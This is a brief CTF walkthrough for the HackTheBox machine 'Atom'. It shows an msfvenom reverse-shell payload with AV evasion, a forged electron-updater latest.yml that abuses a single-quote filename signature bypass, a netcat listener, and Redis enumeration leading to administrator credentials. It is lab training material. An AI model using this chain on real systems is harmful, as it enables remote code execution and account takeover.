Electron-Updater RCE – Atom @ HackTheBox

Electron-Updater RCE – Atom @ HackTheBox

We are going to solve Atom, a 30-point machine on HackTheBox where we’ll analyze an electron app and exploit its updater. For root we will enumerate the running Redis instance, find an encrypted kanban password and then decrypt it.


Generate payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=1337 -f exe -o msf.exe

Then use morbol to add some av evasion (remember to rename the resulting file so it contains a single quote):

python3 morbol.py msf.exe x.exe

Latest.yml (update hash with shasum -a 512 "x'.exe" | cut -d " " -f1 | xxd -r -p | base64 ):

version: 1.2.0
releaseDate: '2021-04-04T07:30:23.993Z'
sha512: 7baNMM7wDS57/DUSc50QXQs7up1ZehDbj9i31nJp3s9mlQLMxOWO/6JnxnT8NRbXvoV32L4PVxQoqla4ACLOLA==

Put payload into “software_updates” smb share and catch shell with nc -lnvp 1337.

Enumerate redis:

redis-cli -h atom.htb -a kidvscat_yes_kidvscat
select 0
keys *
atom.htb:6379> GET "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"

Decrypt password with CyberChef and use WinRM to connect as Administrator.

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